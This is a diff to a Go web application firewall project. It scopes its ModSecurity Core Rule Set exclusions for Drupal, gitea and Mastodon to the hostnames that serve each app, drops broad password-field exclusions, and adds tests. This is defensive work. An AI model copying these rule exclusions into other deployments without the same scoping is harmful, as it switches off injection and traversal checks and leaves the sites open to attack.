# name: /admin/content/media?name=python3
|
||||||
@@ -184,46 +191,6 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
||||||
|
|
||||||
# The password, pass, skips each rule that random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
|
||||||
"id:900819,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
|
|
||||||
|
|
||||||
# A person's name and email address, when signing up, when editing an
|
# A person's name and email address, when signing up, when editing an
|
||||||
# account and when commenting without an account. A name of python3 refused
|
# account and when commenting without an account. A name of python3 refused
|
||||||
# signing up, and python3@example.com refused saving an account. An address
|
# signing up, and python3@example.com refused saving an account. An address
|
||||||
@@ -277,3 +244,5 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
|||||||
SecRule &ARGS_GET:json.mail "@eq 0" \
|
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||||
|
|
||||||
|
SecMarker END_DRUPAL
|
||||||
@@ -5,6 +5,8 @@ import (
|
|||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
@@ -34,7 +36,21 @@ const drupalName = "name="
|
|||||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {"drupal"},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only Drupal's fixes let through.
|
||||||
|
search := get("/search?keys=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
}
|
}
|
||||||
|
|
||||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||||
@@ -109,6 +125,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, drupalName + attack},
|
{reply, drupalName + attack},
|
||||||
|
{drupalSignIn, "pass=" + attack},
|
||||||
{drupalSignIn, drupalName + attack},
|
{drupalSignIn, drupalName + attack},
|
||||||
{"/fr/user/login", drupalName + attack},
|
{"/fr/user/login", drupalName + attack},
|
||||||
{"/user/register", drupalName + attack},
|
{"/user/register", drupalName + attack},
|
||||||
@@ -171,25 +188,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDrupalPasswordPasses(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, r := range []request{
|
|
||||||
{http.MethodPost, drupalSignIn, []string{formData}},
|
|
||||||
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
|
|
||||||
} {
|
|
||||||
t.Run(r.target, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "pass")
|
|
||||||
|
|
||||||
// No rule pass keeps catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, "pass", scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,53 @@
|
|||||||
# The eighth change: on gitea's paths, some fields skip the rules that refused
|
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
|
||||||
# ordinary gitea requests there. They are the fields where gitea sends a search,
|
# They are the fields where gitea sends a search, a file name or a branch name.
|
||||||
# a file name or a branch name. Each exclusion runs with the request, before the
|
# Each exclusion runs with the request, before the rules it switches off, those
|
||||||
# rules it switches off, those of phase 1 included, so this file is loaded before
|
# of phase 1 included, so this file is loaded before the Core Rule Set's rules.
|
||||||
# the Core Rule Set's rules. Each comment names a request the rule refused.
|
# Each comment names a request the rule refused.
|
||||||
|
|
||||||
|
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
|
||||||
|
# skipped. Inspect sets tx.app_gitea when it does.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_gitea itself.
|
||||||
|
SecRule &TX:app_gitea "@eq 0" \
|
||||||
|
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
|
||||||
|
|
||||||
|
# The query parameters in which gitea sends names within a repository or its
|
||||||
|
# own records, or a page of its own site, are not checked against the lists of
|
||||||
|
# system files, shell paths and command names, on any path:
|
||||||
|
# 930120: .gitignore
|
||||||
|
# 932160: bin/docker-entrypoint
|
||||||
|
# 932260: docker-build
|
||||||
|
SecAction "id:900591,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:path,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:files,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:path,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:files,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:path,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:files,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
|
||||||
|
|
||||||
# gitea's searches of code, of issues and pull requests, and of commits send the
|
# gitea's searches of code, of issues and pull requests, and of commits send the
|
||||||
# text searched for in q, which skips these rules there:
|
# text searched for in q, which skips these rules there:
|
||||||
@@ -163,8 +208,8 @@ SecRule REQUEST_FILENAME \
|
|||||||
# 942140: information_schema.sql
|
# 942140: information_schema.sql
|
||||||
# 944110: java/lang/Runtime.java
|
# 944110: java/lang/Runtime.java
|
||||||
# 944130: java.lang.String.md
|
# 944130: java.lang.String.md
|
||||||
# Each request skips the rules that refused it. The fourth change already has
|
# Each request skips the rules that refused it. Rule 900591 already has path and
|
||||||
# path and redirect_to skip 930120, 932160 and 932260 on every path.
|
# redirect_to skip 930120, 932160 and 932260 on every path.
|
||||||
|
|
||||||
# A file's commit graph, in file.
|
# A file's commit graph, in file.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
||||||
@@ -289,3 +334,5 @@ SecRule REQUEST_FILENAME \
|
|||||||
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
||||||
"id:900640,phase:1,pass,nolog,\
|
"id:900640,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||||
|
|
||||||
|
SecMarker END_GITEA
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# The twelfth change: on Mastodon's paths, some fields skip the rules that
|
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
|
||||||
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
||||||
# sends a search, a name, a title, a file name, an address or free text. Each
|
# sends a search, a name, a title, a file name, an address or free text. Each
|
||||||
# exclusion runs with the request, before the rules it switches off, so this
|
# exclusion runs with the request, before the rules it switches off, so this
|
||||||
@@ -17,6 +17,13 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
|
# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
|
||||||
|
# skipped. Inspect sets tx.app_mastodon when it does.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_mastodon itself.
|
||||||
|
SecRule &TX:app_mastodon "@eq 0" \
|
||||||
|
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
|
||||||
|
|
||||||
# The API's searches and names, in the query:
|
# The API's searches and names, in the query:
|
||||||
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
||||||
# acct: /api/v1/accounts/lookup?acct=python3
|
# acct: /api/v1/accounts/lookup?acct=python3
|
||||||
@@ -176,85 +183,6 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
||||||
|
|
||||||
# The passwords named above skip each rule that random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
|
|
||||||
"id:900965,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
|
|
||||||
|
|
||||||
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
|
||||||
"id:900966,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
|
||||||
|
|
||||||
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
||||||
# report forwarded to another server lists that server in forward_to_domains.
|
# report forwarded to another server lists that server in forward_to_domains.
|
||||||
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
||||||
@@ -295,3 +223,5 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
|
|||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
||||||
|
|
||||||
|
SecMarker END_MASTODON
|
||||||
@@ -6,7 +6,6 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
"strings"
|
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
@@ -58,7 +57,21 @@ const (
|
|||||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {"mastodon"},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only Mastodon's fixes let through.
|
||||||
|
search := get("/api/v2/search?q=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
}
|
}
|
||||||
|
|
||||||
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||||
@@ -130,6 +143,10 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
